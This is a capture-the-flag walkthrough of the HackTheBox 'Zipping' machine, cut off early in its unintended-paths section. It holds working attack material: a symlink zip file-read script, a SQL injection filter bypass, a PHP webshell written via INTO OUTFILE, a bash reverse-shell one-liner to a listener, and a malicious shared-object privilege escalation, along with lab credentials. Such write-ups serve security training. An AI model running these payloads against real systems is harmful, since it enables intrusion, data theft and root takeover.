Zipping has a website with a function to upload resumes as PDF documents in a Zip archive. I’ll abuse this by putting symlinks into the zip and reading back files from the host file system. I’ll get the source for the site and find a filter bypass that allows SQL injection in another part of the site. I’ll use that injection to write a webshell, and include it exploiting a LFI vulnerability to get execution. For root, I’ll abuse a custom binary with a malicious shared object. In Beyond Root, I’ll show two unintended foothold paths. The first arises from the differences between how PHP and 7z handle a file in a zip with a null byte in its name. The second uses the PHAR PHP filter to bypass the file_exists check and execute a webshell from an archive.

Box Info

Name Zipping Zipping
Play on HackTheBox
Release Date 26 Aug 2023
Retire Date 13 Jan 2024
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for Zipping
Radar Graph Radar chart for Zipping
First Blood User 00:15:09l1nvx
First Blood Root 01:12:28Randominion
Creator xdann1



nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2024-01-08 15:15 EST
Nmap scan report for
Host is up (0.11s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.44 seconds
oxdf@hacky$ nmap -p 22,80 -sCV
Starting Nmap 7.80 ( ) at 2024-01-08 15:19 EST
Nmap scan report for
Host is up (0.11s latency).

22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 10.53 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 23.04 lunar.

Website - TCP 80


The site is for a watch store:

image-20240108152847100 expand

Most of the links to either to another spot on the page or are dead. There is a Contact form, but submitting it just sends a GET request without any of the form data, reloading the main page.

There are two links that go to another page. At the top right there’s a “Work with Us” button that leads to /upload.php:

image-20240108153124639 expand

The upload capability says it accepts a zip file with a PDF inside.

Also in the nav bar is a link for “Shop”, which leads to /shop:


Clicking an individual item shows details:


I’m able to add to cart and place an order.

Tech Stack

I have a pretty good idea this is a PHP site at this point. Visiting /index.php loads the main page.

The HTTP response headers don’t say much besides Apache:

HTTP/1.1 200 OK
Date: Mon, 08 Jan 2024 20:28:11 GMT
Server: Apache/2.4.54 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 16738
Connection: close
Content-Type: text/html; charset=UTF-8

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since I know the site is PHP:

oxdf@hacky$ feroxbuster -u -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.9.3
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.9.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Management Menu™
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      317l     1354w    16738c
301      GET        9l       28w      314c =>
301      GET        9l       28w      313c =>
301      GET        9l       28w      311c =>
200      GET      113l      380w     5322c
200      GET      317l     1354w    16738c
301      GET        9l       28w      318c =>
500      GET        0l        0w        0c
500      GET        1l        0w        1c
500      GET        0l        0w        0c
200      GET        1l        3w       15c
200      GET       68l      149w     2615c
200      GET        0l        0w        0c
[####################] - 2m    150000/150000  0s      found:13      errors:1      
[####################] - 2m     30000/30000   213/s 
[####################] - 2m     30000/30000   215/s 
[####################] - 0s     30000/30000   0/s => Directory listing (remove --dont-extract-links to scan)
[####################] - 2m     30000/30000   216/s 
[####################] - 0s     30000/30000   0/s => Directory listing (remove --dont-extract-links to scan)

Nothing I didn’t know about at this point.

Shell as rektsu

Enumerate Upload

Intended Use

I’ll take a closer look at the file upload capability on the website. It wants a PDF inside a Zip, so I’ll make one:

oxdf@hacky$ zip sample.pdf 
  adding: sample.pdf (deflated 70%)
oxdf@hacky$ unzip -l 
  Length      Date    Time    Name
---------  ---------- -----   ----
     3028  2017-02-24 12:42   sample.pdf
---------                     -------
     3028                     1 file

When I submit this, the page reloads with a message over the form:


The yellow text is a link to /uploads/[md5 of zip]/[filename]. Clicking it returns the same PDF uploaded.

Pushing Boundaries

If I change the contents of the archive, it changes the directory. If I try to include a second file, it says “Please include a single PDF file in the archive.” If I try to include something that doesn’t end in .zip, it says “The unzipped file must have a .pdf extension.”

If I try to upload a non-zip (say, a PNG), it says “Error uploading file.” Even if I take the valid .zip file and rename it to .png, when I upload it, the site returns the same “Error uploading file” error. So that error is likely based on extension.

It seems that the filtering is done by file extension. If I create a text file and name it, uploading that also returns “Error uploading file”.

File Read


So how will the site handle a symbolic link with a .pdf extension? I’ll create one:

oxdf@hacky$ ln -s /etc/passwd passwd.pdf
oxdf@hacky$ ls -l passwd.pdf 
lrwxrwxrwx 1 oxdf oxdf 11 Jan  8 18:07 passwd.pdf -> /etc/passwd
oxdf@hacky$ zip --symlinks passwd.pdf 
  adding: passwd.pdf (stored 0%)
oxdf@hacky$ unzip -l 
  Length      Date    Time    Name
---------  ---------- -----   ----
       11  2024-01-08 18:09   passwd.pdf
---------                     -------
       11                     1 file

It’s important to give zip the --symlinks argument, or else zip will follow the link and put a copy of my /etc/passwd into the archive.

It uploads just fine:


Clicking the link shows an empty PDF:


If I look in Burp, I’ll see that’s because the browser is trying to render a PDF, but the response isn’t a PDF:


That’s file read!

I’ll note the user on this box is rektsu, and there’s also a mysql user. In fact, I can make a payload that will return the user flag:

oxdf@hacky$ ln -s /home/rektsu/user.txt user.pdf
oxdf@hacky$ zip --symlinks user.pdf 
  adding: user.pdf (stored 0%)

On viewing it:

HTTP/1.1 200 OK
Date: Mon, 08 Jan 2024 23:19:47 GMT
Server: Apache/2.4.54 (Ubuntu)
Last-Modified: Mon, 08 Jan 2024 23:19:46 GMT
ETag: "21-60e776efd7648"
Accept-Ranges: bytes
Content-Length: 33
Connection: close
Content-Type: application/pdf



I’d like to make a script to make reading files from Zipping easier. I’ll walk through that in this video:

The final code is:

#!/usr/bin/env python3
import io
import re
import sys
import zipfile
import requests
from datetime import datetime

if len(sys.argv) < 3:
    print(f"Usage: {sys.argv[0]} <host> <target file path>")

host = sys.argv[1]
filepath = sys.argv[2]

zip_buffer = io.BytesIO()

with zipfile.ZipFile(zip_buffer, "w") as zip_file:
    zipInfo = zipfile.ZipInfo('resume.pdf')
    zipInfo.create_system = 3
    zipInfo.external_attr |= 0xA0000000
    zipInfo.date_time =[:6]
    zip_file.writestr(zipInfo, filepath)

files = ('', zip_buffer.getbuffer(), {"Content-Type": "application/zip"})
resp ='http://{host}/upload.php',
              files={"zipFile": ('', zip_buffer.getbuffer(), {"Content-Type": "application/zip"})},
              data={"submit": ""}

(url, ) = re.findall(r'path:</p><a href="(.*)">\1</a>', resp.text)

resp = requests.get(f'http://{host}/{url}')

And it works (for both text and binaries):

oxdf@hacky$ python /etc/hostname

Page Source


I’m able to get the Apache config file for the site in the default location, /etc/apache2/sites-enabled/000-default.conf. Removing commented lines, it looks very standard:

<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        <Directory /var/www/html/uploads>
                Options -Indexes
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

It is hosted out of /var/www/html, and disallows indexing on the uploads directory.

I’m able to read the page source using my script:

oxdf@hacky$ python /var/www/html/index.php
<!DOCTYPE html>
<html lang="en">
        <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Start your development with Creative Design landing page.">
    <meta name="author" content="Devcrud">
    <title>Zipping | Watch store</title>

    <!-- font icons -->
    <link rel="stylesheet" href="assets/vendors/themify-icons/css/themify-icons.css">

    <!-- Bootstrap + Creative Design main styles -->
        <link rel="stylesheet" href="assets/css/creative-design.css">

<body data-spy="scroll" data-target=".navbar" data-offset="40" id="home">

    <!-- Page Navbar -->
    <nav id="scrollspy" class="navbar page-navbar navbar-light navbar-expand-md fixed-top" data-spy="affix" data-offset-top="20">
        <div class="container">
            <a class="navbar-brand" href="#"><strong class="text-primary">Zipping</strong> <span class="text-dark">Watch Store</span></a>
            <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
                <span class="navbar-toggler-icon"></span>

            <div class="collapse navbar-collapse" id="navbarSupportedContent">
                <ul class="navbar-nav ml-auto">
                    <li class="nav-item">
                        <a class="nav-link" href="#home">Home</a>
                    <li class="nav-item">
                        <a class="nav-link" href="#about">About</a>
                    <li class="nav-item">
                        <a class="nav-link" href="#features">Features</a>
                    <li class="nav-item">
                        <a class="nav-link" href="#testmonial">Testmonial</a>
                    <li class="nav-item">
                        <a class="nav-link" href="shop">Shop</a>
                    <li class="nav-item">
                        <a class="nav-link" href="#contact">Contact</a>
                    <li class="nav-item ml-md-4">
                        <a class="nav-link btn btn-primary" href="upload.php">Work with Us</a>
    </nav><!-- End of Page Navbar -->

    <!-- Page Header -->
    <header id="home" class="header">
        <div class="overlay"></div>
        <div class="header-content">
            <h6>Watch Store</h6>
    </header><!-- End of Page Header -->

    <!-- About Section -->
    <section id="about">
        <!-- Container -->
        <div class="container">
            <!-- About wrapper -->
            <div class="about-wrapper">
                <div class="after"><h1>About Us</h1></div>
                <div class="content">
                    <h5 class="title mb-3">Zipping Company</h5>
                    <!-- row -->
                    <div class="row">
                        <div class="col">
                            <p>Zipping Co. is a leading manufacturer of high-quality watches for men and women. Founded in 1980, the company has built a reputation for crafting timepieces that combine classic design with modern technology.</p>
                            <p><b>Innovation, Elegant, Sophisticated and Luxurious</b></p>
                            <p>Our watches are made with the finest materials, including stainless steel, leather, and sapphire crystal, and are powered by precision quartz and mechanical movements. We offer a wide range of styles, from sporty and casual to elegant and formal, ensuring that there is a watch for every occasion.</p>
                        <div class="col">
                            <p>One of the things that sets Zipping Co. apart is their commitment to innovation. We are constantly pushing the boundaries of what is possible with watch design, incorporating cutting-edge features like GPS, heart rate monitoring, and mobile connectivity into their products.</p>
                            <p>In addition to their regular collection, Zipping Co. also offers a line of limited edition watches, which are highly sought after by collectors and enthusiasts. These watches are crafted in small quantities and feature unique designs and materials.</p>
                    </div><!-- End of Row -->
                    <a href="javascript:void(0)">Read More...</a>
            </div><!-- End of About Wrapper -->
        </div>  <!-- End of Container-->
     </section><!--End of Section -->

    <!-- section -->
        <!-- Container -->
        <div class="container">
            <!-- row -->
            <div class="row justify-content-between align-items-center">
                <div class="col-md-6">
                    <div class="img-wrapper">
                        <div class="after"></div>
                        <img src="assets/imgs/service.jpg" class="w-100" alt="About Us">
                <div class="col-md-5">
                    <h6 class="title mb-3">Customer Service</h6>
                    <p>Zipping Co. is dedicated to providing excellent customer service, and offers a two-year warranty on all of their watches. They also have a team of expert watchmakers who are available to repair and service any Zipping Co. watch.</p>
                    <p class="text-muted">The most important thing for us is you!</p>
                    <button class="btn btn-outline-primary btn-sm">Learn More</button>
            <!-- End of Row -->
        <!-- End of Container -->
    </section><!-- End of Section -->

        <!-- Container -->
        <div class="container">
            <!-- Row -->
            <div class="row justify-content-between align-items-center">
                <div class="col-md-5">
                    <h6 class="title mb-3">Business</h6>
                    <p>The future of Zipping Co. looks promising, with the company well-positioned to meet the changing needs and preferences of consumers in the smartwatch and customization market, as well as expanding to new markets.</p>
                    <p class="text-muted">We are open to new business offers, do not hesitate to contact us!</p>
                    <button class="btn btn-outline-primary btn-sm">Learn More</button>

                <div class="col-md-6">
                    <div class="img-wrapper">
                        <div class="after right"></div>
                        <img src="assets/imgs/img-2.jpg" class="w-100" alt="About Us">
            </div><!-- End of Row -->
        </div><!-- End of Container-->
    </section><!-- End of Section -->

    <!-- Features Section -->
    <section class="has-bg-img" id="features">
        <div class="overlay"></div>
        <!-- Button trigger modal -->
        <a data-toggle="modal" href="#exampleModalCenter">

        <!-- Modal -->
        <div class="modal fade" id="exampleModalCenter" tabindex="-1" role="dialog" aria-labelledby="exampleModalCenterTitle" aria-hidden="true">
            <div class="modal-dialog modal-dialog-centered modal-lg" role="document">
                <div class="modal-content">
        </div><!-- End of Modal -->
    </section><!-- End of features Section -->

    <!-- Section -->
        <!-- Container -->
        <div class="container">
            <!-- Row -->
            <div class="row justify-content-between align-items-center">
                <div class="col-md-6">
                    <div class="img-wrapper">
                        <div class="after"></div>
                        <img src="assets/imgs/img-3.jpg" class="w-100" alt="About us">
                <div class="col-md-5">
                    <h6 class="title mb-3">Marketing Strategy</h6>

                    <p>We focus on emphasizing the high-quality and innovative features of our watches, leveraging customer reviews, creating a sense of exclusivity around limited edition watches and building a strong social media presence to connect with our customers and build relationships.</p>
                    <button class="btn btn-outline-primary btn-sm">Learn More</button>
            </div><!-- End of Row -->
        </div><!-- End of Container-->
    </section><!-- End of Section -->

    <!-- Testmonial Section -->
    <section class="text-center pt-5" id="testmonial">
        <!-- Container -->
        <div class="container">
            <h3 class="mt-3 mb-5 pb-5">What our Client says</h3>
            <!-- Row -->
            <div class="row">
                <div class="col-sm-10 col-md-4 m-auto">
                    <div class="testmonial-wrapper">
                        <img src="assets/imgs/avatar1.jpg" alt="Client Image">
                        <h6 class="title mb-3">Adell Smith</h6>
                        <p>I recently purchased a watch from Zipping Co. and I couldn't be happier with my purchase. The watch is elegant and precision, and it's clear that it's been crafted with the finest materials. The customer service was also top-notch - they were very helpful in answering all of my questions and ensuring that I was completely satisfied with my purchase.</p>
                <div class="col-sm-10 col-md-4 m-auto">
                    <div class="testmonial-wrapper">
                        <img src="assets/imgs/avatar2.jpg" alt="Client Image">
                        <h6 class="title mb-3">John Doe</h6>
                        <p>I am a collector of luxury watches, and Zipping Co.'s limited edition line is absolutely stunning. The designs are unique and sophisticated, and the quality is unmatched. I was also impressed with the warranty and repair service they offer, it gives me peace of mind knowing that my investment is protected. Highly recommended!</p>
                <div class="col-sm-10 col-md-4 m-auto">
                    <div class="testmonial-wrapper">
                        <img src="assets/imgs/avatar3.jpg" alt="Client Image">
                        <h6 class="title mb-3">Kyle Butler</h6>
                        <p>I was looking for a watch that was both stylish and functional, and Zipping Co.'s collection definitely delivered. The watch I chose is luxurious and has all the features I was looking for, like GPS and heart rate monitoring. I highly recommend Zipping Co. to anyone looking for a high-quality, innovative watch and a great customer service.</p>
            </div><!-- end of Row -->
        </div><!-- End of Cotanier -->
    </section><!-- End of Testmonial Section -->

    <!-- Section -->
    <section class="has-bg-img text-center text-light height-auto" style="background-image: url(/img/imgs/bg-img-2.jpg)">
        <h1 class="display-4">LET’S TALK BUSINESS.</h1>
    </section><!-- End of Section -->

    <!-- Contact Section -->
    <section id="contact" class="text-center">
        <!-- container -->
        <div class="container">
            <h1>CONTACT US</h1>
            <p class="mb-5">If you have some Questions or need Help! Please Contact Us! <br>
            We make Cool and Clean Design for your Watch</p>

            <!-- Contact form -->
            <form class="contact-form col-md-11 col-lg-9 mx-auto">
                <div class="form-row">
                    <div class="col form-group">
                        <input type="text" class="form-control" placeholder="Name">
                    <div class="col form-group">
                        <input type="email" class="form-control" placeholder="Email">
                <div class="form-group">
                    <textarea name="" id="" cols="30" rows="5" class="form-control" placeholder="Your Message"></textarea>
                <div class="form-group">
                    <input type="submit" class="btn btn-primary btn-block" value="Send Message">
            </form><!-- End of Contact form -->
        </div><!-- End of Container-->
    </section><!-- End of Contact Section -->

    <!-- Section -->
    <section class="pb-0">
        <!-- Container -->
        <div class="container">
            <!-- Pre footer -->
            <div class="pre-footer">
                <ul class="list">
                    <li class="list-head">
                        <h6 class="font-weight-bold">ABOUT US</h6>
                    <li class="list-body">
                      <p>Zipping Co. is a company that is dedicated to producing high-quality watches that are both stylish and functional. We are constantly pushing the boundaries of what is possible with watch design and are known for their commitment to innovation and customer service.</p>
                      <a href="#"><strong class="text-primary">Zipping</strong> <span class="text-dark">Watch Store</span></a>
                <ul class="list">
                    <li class="list-head">
                        <h6 class="font-weight-bold">USEFUL LINKS</h6>
                    <li class="list-body">
                        <div class="row">
                            <div class="col">
                                <a href="#">Link 1</a>
                                <a href="#">Link 2</a>
                                <a href="#">Link 3</a>
                                <a href="#">Link 4</a>
                            <div class="col">
                                <a href="#">Link 5</a>
                                <a href="#">Link 6</a>
                                <a href="#">Link 7</a>
                                <a href="#">Link 8</a>
                <ul class="list">
                    <li class="list-head">
                        <h6 class="font-weight-bold">CONTACT INFO</h6>
                    <li class="list-body">
                        <p>Contact us and we'll get back to you within 24 hours.</p>
                        <p><i class="ti-location-pin"></i> 12345 Fake ST NoWhere AB Country</p>
                        <p><i class="ti-email"></i></p>
                        <div class="social-links">
                            <a href="javascript:void(0)" class="link"><i class="ti-facebook"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-twitter-alt"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-google"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-pinterest-alt"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-instagram"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-rss"></i></a>
            </div><!-- End of Pre footer -->

            <!-- foooter -->
            <footer class="footer">
                <p>&copy; Zipping Watch Store</p>
            </footer><!-- End of Footer-->

        </div><!--End of Container -->
    </section><!-- End of Section -->

    <!-- core  -->
    <script src="assets/vendors/jquery/jquery-3.4.1.js"></script>
    <script src="assets/vendors/bootstrap/bootstrap.bundle.js"></script>

    <!-- bootstrap affix -->
    <script src="assets/vendors/bootstrap/bootstrap.affix.js"></script>

    <!-- Creative Design js -->
    <script src="assets/js/creative-design.js"></script>



The intended path for Zipping now turns to the shop directory (though there is an unintended path via the zip upload that I’ll explore in Beyond Root).

index.php is short:

// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';

It brings in functions.php and calls pdo_connect_mysql, which isn’t a standard function, so it must be defined and imported. Then it includes the page defaulting to home.php. Including pages like this is a common PHP pattern, and one that can lead to local file include (LFI) vulnerabilities. Here there are two smart checks made that limit attacks:

  1. It appends .php to the input. This means I can’t include files that don’t end in PHP.
  2. It does a file_exists on the input plus .php, so using PHP filters won’t work.

Still, if I can get a PHP file onto Zipping in a known location, I would be able to execute it. I’ll keep that in mind (I’ll use this later for both the intended method as well as two unintended paths in Beyond Root.)

functions.php defines functions for a header and footer, as well as the MySQL connection:

function pdo_connect_mysql() {
    // Update the details below with your MySQL details
    $DATABASE_HOST = 'localhost';
    $DATABASE_USER = 'root';
    $DATABASE_PASS = 'MySQL_P@ssw0rd!';  
    $DATABASE_NAME = 'zipping';                                                                          
    try {         
        return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
    } catch (PDOException $exception) {
        // If there is an error with the connection, stop the script and display the error.
        exit('Failed to connect to database!');

I’ll note those creds. It’s also worth noting that the MySQL user is root, which implies it is likely to have more permissions on the DB.

product.php is interesting, specifically for how it interacts with the database at the top of the file:

// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
    $id = $_GET['id'];             
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
        // Fetch the product from the database and return the result as an Array
        $product = $stmt->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if (!$product) {
            // Simple error to display if the id for the product doesn't exists (array is empty)
            exit('Product does not exist!');
} else {
    // Simple error to display if the id wasn't specified
    exit('No ID provided!');

It’s using a dangerous method for interacting with the database, building a string with user input and passing it to prepare. It tries to mitigate for that with a regex looking for anything that’s not a digit 0-9, and just redirecting to index.php if found.


Bypass Filter

HackTricks has a page on PHP tricks, and one section is about bypassing preg_match with .*. The issue is that preg_match only checks the first line of input for .*. So if I can start my input off with a newline, it won’t match. This is the example from the page:

11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Zipping POC

I’ll see how this might work with the url It shows a watch:


If I try id=3 or select 1=1, it redirects to the main page.

If I try id=%0a3, it loads just like normal:


That suggests that the newline is not messing it up. Building it a bit more towards SQLI, I’ll try injection to give it an ID that doesn’t exist (100) and then use injection to get something else there with id=%0A100'+or+'1'='1. This loads the page with the first watch:


That’s successful SQL injection!


In the injection above, I just let the intended ' close out the injection. The site is doing:

SELECT * FROM products WHERE id = '$id'

So when I send %0A100'+or+'1'='1, that makes:

SELECT * FROM products WHERE id = '%0A100'+or+'1'='1'

If I want to do something like UNION injection, I’ll need to “use up” that trailing '. Typically, I would send id=%0A100'--+-, but that results in a redirect back to the index. Why? A bit closer look at the filtering regex is required:


Because no parentheses are used, this is effectively two distinct regex:


So it matches if either of the following are true:

  • It starts with anything and then ends with any of the listed characters.
  • It ends with a non-digit, because [] says look for any of the characters given (in this case 0-9), but ^ inside [] means look for any character not give (so anything by 0-9).

If not for the newline injection that bypasses the first, these two would be pretty close to equivalent. When I bypass the first with %0A100'+or+'1'='1, it also is ok on the second because it ends with digit.

Conveniently, I’m trying to add a comment to the end. That means that anything after the comment marker is also just comment, so I can easily add a digit. Sending id=%0A100'--+-1 doesn’t redirect, but returns “Product does not exist!”, the same as just id=100, which means the comment works.

It’s worth noting that starting a regex string with ^.* is basically the same as replacing that with nothing. Must be at the start but then after 0 or more of anything is back to the default. Except that it allows this to be exploited. Still, regex is a confusing enough thing that I’ve seen lots of this pattern in the real world, so I don’t think it’s fair to call this part unrealistic.

UNION Injection

I’ll use UNION injection to read the database. I can start with id=%0A100'+union+select+1;--+-1. This returns an empty page, which probably represents some kind of SQL error. I expect this, as it would only work if the queried table only have one column. I’ll start checking other lengths until I get to 8, where it returns:


Comparing this to the page (and looking at the raw HTML), I can assert that the products table probably has the following columns:

  1. Likely ID (not shown on page)
  2. Product Name
  3. Features paragraph
  4. Sale price
  5. Regular price
  6. Max number allowed to add to cart
  7. Image name
  8. unknown

I can enumerate the rest of the database, but there’s not much interesting in it.


All of this SQL injection can be automated using sqlmap. I’ll need to use the --prefix and --suffix parameters to add the leading newline and the trailing digit, and it needs at least --level 2 to find it:

oxdf@hacky$ sqlmap -u "" --prefix "%0A%0D'" --suffix="'-- -1" -p id --batch --level 2
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 162 HTTP(s) requests:
Parameter: id (GET)
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: page=product&id=1
';SELECT SLEEP(5)'-- -1
[09:14:55] [INFO] the back-end DBMS is MySQL

It is interesting that it finds a stacked queries attack, rather than union injection. This is a blind technique and will run very slowly.


Enumerate Permissions

I noted above that the application is connecting to MySQL as the root user. It’s worth checking for what permissions that user has. Privileges are stored in the information_schema.user_privileges table, so I’ll inject with id=%0A100'+union+select+1,2,group_concat(grantee, ':', privilege_type),4,5,2,7,8+from+information_schema.user_privileges;--+-1:


It’s a bit hard to read in that screenshot, but one privilege jumps out:


The FILE privilege:

Affects the following operations and server behaviors:

  • Enables reading and writing files on the server host using the LOAD DATA and SELECT ... INTO OUTFILE statements and the LOAD_FILE() function. A user who has the FILE privilege can read any file on the server host that is either world-readable or readable by the MySQL server. (This implies the user can read any file in any database directory, because the server can access any of those files.)
  • Enables creating new files in any directory where the MySQL server has write access. This includes the server’s data directory containing the files that implement the privilege tables.
  • Enables use of the DATA DIRECTORY or INDEX DIRECTORY table option for the CREATE TABLE statement.


I want a PHP webshell. As a quick test, I’ll write a quick PHP file into /dev/shm with:


It returns “Product does not exist!”, which means it worked. If I try to write to the same file again, it will return an empty page, which indicates failure. It doesn’t want to overwrite existing files.

I’ll now load that using the LFI identified above with

That’s executing my PHP to show the info. That’s code execution.

It’s worth nothing that while this works in /dev/shm, it won’t work in /tmp, because Apache’s using a sandboxed tmp directory, SYSTEMD_PRIVATE. .

Webshell / Shell

To get a webshell, I’ll change the injection to write a webshell:


Now to execute it I’ll just visit it with cmd=id:


To turn that into a shell, I’ll start nc and update the cmd to a bash reverse shell:

cmd=bash -c 'bash -i >%26 /dev/tcp/ 0>%261'

It is important to encode the & to %26 so that it’s not treated as the end of the parameter and start of another.

At nc, I get a shell:

oxdf@hacky$ nc -lvnp 443
Listening on 443
Connection received on 49150
bash: cannot set terminal process group (1155): Inappropriate ioctl for device
bash: no job control in this shell

I’ll upgrade using the standard trick:

rektsu@zipping:/var/www/html/shop$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
rektsu@zipping:/var/www/html/shop$ ^Z
[1]+  Stopped                 nc -lvnp 443
oxdf@hacky$ stty raw -echo ; fg
nc -lvnp 443
reset: unknown terminal type unknown
Terminal type? screen

And grab user.txt if I hadn’t already above:

rektsu@zipping:/home/rektsu$ cat user.txt

Shell as root



rektsu can run the stock binary as root on Zipping:

rektsu@zipping:/home/rektsu$ sudo -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass,

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock


Basic enumeration of this binary shows that it asks for a password:

rektsu@zipping:/home/rektsu$ stock  
Enter the password: test
Invalid password, please try again.

Running as root doesn’t change this:

rektsu@zipping:/home/rektsu$ sudo stock
Enter the password: im root
Invalid password, please try again.

Recover Password

Running strings on the binary dumps a bunch that provides hints as to this binaries purpose, but also a string that looks like a potential password just before the string “Enter the password:”:


Entering that works:

rektsu@zipping:/home/rektsu$ sudo stock             
Enter the password: St0ckM4nager

================== Menu ==================

1) See the stock
2) Edit the stock
3) Exit the program

Select an option:

Identify Library Load Issue

Before running strings, I tried to run ltrace on the box to see if it would show the strcmp, but ltrace isn’t on Zipping. strace is, but doesn’t show the comparison:

write(1, "Enter the password: ", 20Enter the password: )    = 20
read(0, 0xdf
"0xdf\n", 1024)                 = 5
write(1, "Invalid password, please try aga"..., 36Invalid password, please try again.
) = 36
exit_group(1)                           = ?
+++ exited with 1 +++

There I enter “0xdf” and see the write call showing it failed.

If I try strace with the correct password, I’ll notice something interesting just after:

write(1, "Enter the password: ", 20Enter the password: )    = 20
read(0, St0ckM4nager
"St0ckM4nager\n", 1024)         = 13
openat(AT_FDCWD, "/home/rektsu/.config/", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
write(1, "\n================== Menu ======="..., 44
================== Menu ==================
) = 44
write(1, "\n", 1
)                       = 1
write(1, "1) See the stock\n", 171) See the stock
)      = 17
write(1, "2) Edit the stock\n", 182) Edit the stock
)     = 18
write(1, "3) Exit the program\n", 203) Exit the program
)   = 20
write(1, "\n", 1
)                       = 1
write(1, "Select an option: ", 18Select an option: )      = 18

Before it prints the menu, it attempts to load /home/rektsu/.config/, but fails because that file doesn’t exist.

Malicious SO

If I can create a malicious shared object (library) in that location, it will be loaded by the binary. Any code I put into a constructor will be executed. I’ve shown this before, most recently with Broker.

I’ll write a simple C file:

rektsu@zipping:/home/rektsu/.config$ cat libcounter.c 
#include <stdlib.h>
__attribute__ ((__constructor__))
void shell(void){

It marks the shell function as a constructor, which means it runs when the library is loaded. That function simply calls /bin/bash, interrupting the flow of the program and returning an interactive shell.

I’ll compile this as a shared object:

rektsu@zipping:/home/rektsu/.config$ gcc -shared -o -fPIC libcounter.c
rektsu@zipping:/home/rektsu/.config$ ls

Now when I run sudo stock, after putting in the password, it drops into bash as root:

rektsu@zipping:/home/rektsu/.config$ sudo stock
Enter the password: St0ckM4nager
root@zipping:/home/rektsu/.config# id
uid=0(root) gid=0(root) groups=0(root)

And I’m able to read the flag:

root@zipping:~# cat root.txt

Beyond Root - Unintended Footholds


Both these technique allows for skipping the /shop pages and SQL injection entirely, focusing rather on how files are uploaded to Zipping and abusing clever ways to bypass the LFI restrictions:

flowchart TD;
    A[File Read via Upload]-->B(Source Analysis);
    B-->F(Null Byte Zips);
    C-->D(File Write);

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,6,7 stroke-width:2px,stroke:#4B9CD3,fill:none;

Via Null Bytes


This unintended solution has to do with how null bytes in filenames inside zip files are handled, specifically that there’s a difference between how 7z and PHP handle them. IppSec tipped me off to this, and we had a good time digging into it to figure out exactly how it works.

It seems HTB patched an issue like this on 7 September 2023, two weeks after its release:


I don’t know what that patch did, but this is still exploitable today.

Creating Zip

Creating a zip archive with a null in the filename of a file inside it is tricky. I don’t know a good way to do it with zip. Python doesn’t let me write a file with a null byte in the filename:

